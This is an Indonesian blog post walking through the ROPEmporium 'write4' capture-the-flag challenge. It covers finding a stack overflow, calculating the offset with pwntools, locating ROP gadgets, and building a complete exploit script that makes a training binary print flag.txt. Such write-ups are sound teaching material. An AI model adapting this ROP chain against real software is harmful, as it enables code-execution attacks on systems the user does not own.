Membahas Return Oriented Programming — ROPEmporium (Write4 ROP Challenge)
Pada tulisan kali ini saya ingin membahas terkait dengan teknik ROP (Return Oriented Programming), yaitu salah satu metode eksploitasi…
Membahas Return Oriented Programming — ROPEmporium (Write4 ROP Challenge)
Photo by Artist Istanbul on Unsplash
Pada tulisan kali ini saya ingin membahas terkait dengan teknik ROP (Return Oriented Programming), yaitu salah satu metode eksploitasi yang digunakan untuk mengatur alur eksekusi dengan memanfaatkan instruksi yang telah tersedia tanpa perlu menggunakan shellcode secara langsung. Teknik ini dimanfaatkan ketika sistem target menerapkan proteksi semacam DEP (Data Execution Prevention) yang mencegah eksekusi kode di segmen data atau stack.
Inti dari ROP adalah memanfaatkan potongan-potongan kecil instruksi assembly yang sudah ada di dalam binary atau library (misalnya libc). Potongan instruksi tersebut biasa disebut sebagai gadgets, dan biasanya diakhiri dengan instruksi ret. Dengan menyusun serangkaian gadgets secara berurutan di stack, penyerang dapat membangun sebuah “rantai” instruksi yang kompleks, bahkan hingga bisa memanggil fungsi-fungsi penting dari library sistem.
Beberapa poin penting pada ROP yang akan dipraktekan dalam tulisan ini meliputi:
- Konsep dasar ROP: bagaimana ROP bekerja, peran gadgets, dan bagaimana stack digunakan untuk mengontrol alur eksekusi.
- Mencari gadgets: teknik serta tools yang umum digunakan (seperti ROPgadget) untuk menemukan gadgets pada binary.
- Membangun ROP chain: bagaimana menyusun gadgets untuk mencapai tujuan tertentu.
Write4 ROP Challenge
Pada challenge ini akan dibahas dengan lengkap dan detail penggunaan ROP pada Stack Buffer Overflow yang terlindungi oleh DEP
Pertama, lakukan pengecekan proteksi apa saja yang diterapkan pada binary dengan “Checksec” dan ditemukan bahwa “NX Enabled” yang menandakan terdapat proteksi DEP yang menandakan bahwa akses eksekusi pada segmen data atau stack dihilangkan dan hanya read atau write saja.

Selanjutnya jalankan binary dan ditemukan terdapat sebuah inputan setelah “>”

Buka binary menggunakan gdb dan lakukan listing fungsi yang akan ditemukan beberapa fungsi penting pertama main, usefulFunction, usefulGadgets dan pwnme@plt

Kemudian lakukan disassembly pada fungsi main dan ditemukan terdapat pemanggilan fungsi menuju pwnme

Pada fungsi pwnme dapat dilihat bahwa untuk menuju fungsi aslinya perlu melakukan jump rip+0x200b12 sehingga memerlukan debugging

Breakpoint pada alamat jump sebagai berikut

Lakukan step over sampai menuju instruksi pwnme+1 lalu lakukan disassamble pada alamat tersebut. Pada kasus saya fungsi pwnme terdapat pada 0x7ffff7c008aa. Pada fungsi ini bisa terlihat terdapat sebuah Stack Buffer Overflow pada pemanggilan fungsi read karena tidak adanya sanitasi pada inputan.

Hal yang selanjutnya dilakukan adalah melakukan Fuzzing sampai mendapatkan crash, disini penulis menggunakan sebuah modul pwntools dengan fungsi cyclic untuk melakukan generate pola unik berjumlah 0x200 mengikuti panjang dari instruksi mov edx, 0x200 sebelum pemanggilan fungsi read. Generate pola unik ini digunakan untuk mencari offset nantinya
>>> from pwn import *
>>> cyclic(0x200)
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaaf'
Copy hasil cyclic menuju script berikut yang digunakan untuk debugging nantinya
#!/usr/bin/env python3
from pwn import *
context.log_level = "info"
binary_path = "./write4"
payload = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaaf"
gdbscript = '''
break pwnme
continue
'''
io = gdb.debug(binary_path, gdbscript=gdbscript, stdin=PTY, stdout=PTY)
#io = process(binary_path, stdin=PTY, stdout=PTY)
io.sendlineafter(b">", payload)
io.interactive()
Jalankan script tersebut dan lakukan ‘continue’ dan akan ditemukan output sebagai berikut yang menandakan bahwa instruksi setelah return berhasil di overwrite dengan 0x6161616c616161

Setelah itu cari 0x6161616c616161 menggunakan cyclic_find menggunakan python dan ditemukan offsetnya adalah 41
>>> from pwn import *
>>> cyclic_find(0x6161616c616161)
[!] cyclic_find() expected an integer argument <= 0xffffffff, you gave 0x6161616c616161
Unless you specified cyclic(..., n=8), you probably just want the first 4 bytes.
Truncating the data at 4 bytes. Specify cyclic_find(..., n=8) to override this.
41
>>>
Setelah itu buat script sebagai berikut untuk memastikan bahwa saved return berhasil teroverwrite.

Hasilnya saved return berhasil dioverwrite namun pada script sebelumnya karakter ‘A’ kelebihan 1 sehingga menghasilkan 0x4242424242424241 setelah berhasil teroverwrite mari lakukan ROP

Karena kita mengetahui bahwa terdapat fungsi lain selain main dan pwnme mari telusuri fungsi tersebut yaitu usefulGadgets dan usefulFunction.

Pada fungsi usefulGadgets terdapat instruksi mov QWORD PTR [r14], r15 ; ret yang nantinya bisa digunakan untuk Gadgets. Sedangkan pada fungsi usefulFunction terdapat pemanggilan fungsi print_file@plt. Kita bisa melakukan percobaan untuk mengarahkan saved return menuju alamat “usefulFunction” ini dengan script berikut
#!/usr/bin/env python3
from pwn import *
context.log_level = "info"
binary_path = "./write4"
payload = b"A" * 40
payload += p64(0x0000000000400617)
gdbscript = '''
break pwnme
continue
'''
io = gdb.debug(binary_path, gdbscript=gdbscript, stdin=PTY, stdout=PTY)
#io = process(binary_path, stdin=PTY, stdout=PTY)
io.sendlineafter(b">", payload)
io.interactive()
Setelah menjalankan script dapat terlihat outputnya sebagai berikut “Failed to open file: nonexistent” yang menandakan bahwa fungsi ini digunakan untuk membuka file. Langkah selanjutnya adalah melakukan debugging

Hasil disassemble fungsi print_file ditemukan bahwa terdapat pemanggilan fungsi fopen. Sampai sini kita dapat mengambil kesimpulan sebagai berikut bahwa kita dapat memanfaatkan fungsi print_file ini untuk membuka flag dengan memanfaatkan ROP. Bagaimana caranya?
Perhatikan pemanggilan fopen pada fungsi print_file :
- Terdapat instruksi “mov QWORD PTR [rbp-0x38], rdi” yang artinya isi register rdi akan dipindahkan menuju rbp-0x38
- Lalu nilai rbp-0x38 akan dipindahkan menuju rax pada instruksi mov, QWORD PTR [rbp-0x38]
- Isi register rax akan dipindahkan menuju register rdi dan digunakan oleh fopen sebagai argument pertama

Dari keterangan diatas dan data-data yang telah didapatkan berikut strategi exploitasi dengan ROP yang dapat digunakan :
- Cari alamat pada binary yang memiliki izin rw untuk meletakkan data
- Lalu cari instruksi pop r14; pop 15; ret untuk meletakkan inputan pada stack menuju register r14 dan r15. Register r14 digunakan untuk alamat yang memiliki izin rw dan r15 adalah untuk nama file flag
- Gunakan instruksi pada usefulGadgets yaitu ‘mov QWORD PTR [r14], r15 ; ret’ untuk memindahkan nama file menuju alamat yang memiliki izin rw
- Kemudian cari instruksi “pop rdi; ret” dilanjutkan dengan alamat yang sebelumnya diisi nama file
- Terakhir panggil fungsi print_file
Mencari alamat pada binary yang memiliki izin rw untuk meletakkan data
Pada gdb gunakan command “vmmap” dan akan ditemukan izin rw-p pada 0x601000 sampai 0x602000

Lalu buka dengan x/100x 0x601000 dan ditemukan banyak alamat yang tidak digunakan sehingga disini kita akan menggunakan alamat 0x601100 untuk menyimpan data

Mencari instruksi pop r14; pop 15; ret dan pop rdi; ret dengan ROPGadget
Hasil dari ROPgadget menunjukkan bahwa :
- Instruksi pop r14; pop 15; ret berada pada alamat 0x0000000000400690
- Instruksi pop rdil ret berada pada alamat 0x0000000000400693

Membuat Exploit Script
Karena semua informasi telah berhasil didapatkan langkah terakhir adalah membuat scriptnya dengan detail sebagai berikut
#!/usr/bin/env python3
from pwn import *
context.log_level = "info"
binary_path = "./write4"
data_save = p64(0x601100)
flag = b"flag.txt"
payload = b"A" * 40
payload += p64(0x0000000000400690) # 0x0000000000400690 : pop r14 ; pop r15 ; ret
payload += data_save # Data R14
payload += flag # Data R15
payload += p64(0x0000000000400628) # 0x0000000000400628 : mov QWORD PTR [r14],r15 ; ret
payload += p64(0x0000000000400693) # 0x0000000000400693 : pop rdi ; ret
payload += data_save # Data RDI
payload += p64(0x400510) # Alamat Fungsi print_file
gdbscript = '''
break pwnme
continue
'''
#io = gdb.debug(binary_path, gdbscript=gdbscript, stdin=PTY, stdout=PTY)
io = process(binary_path, stdin=PTY, stdout=PTY)
io.sendlineafter(b">", payload)
io.interactive()
Selanjutnya jalankan script dan akan didapatkan data sesuai dengan file apa yang akan dibuka

메타데이터
- post_id
- 953dcbd4ef3d
- slug
- membahas-return-oriented-programming-ropemporium-write4-rop-challenge-953dcbd4ef3d
- url
- https://medium.com/@hassanrasyid/membahas-return-oriented-programming-ropemporium-write4-rop-challenge-953dcbd4ef3d
- canonical_url
- https://medium.com/@hassanrasyid/membahas-return-oriented-programming-ropemporium-write4-rop-challenge-953dcbd4ef3d
- author_url
- https://medium.com/@hassanrasyid
- status
- ok
- fetched_at
- 2026-06-13 07:35:29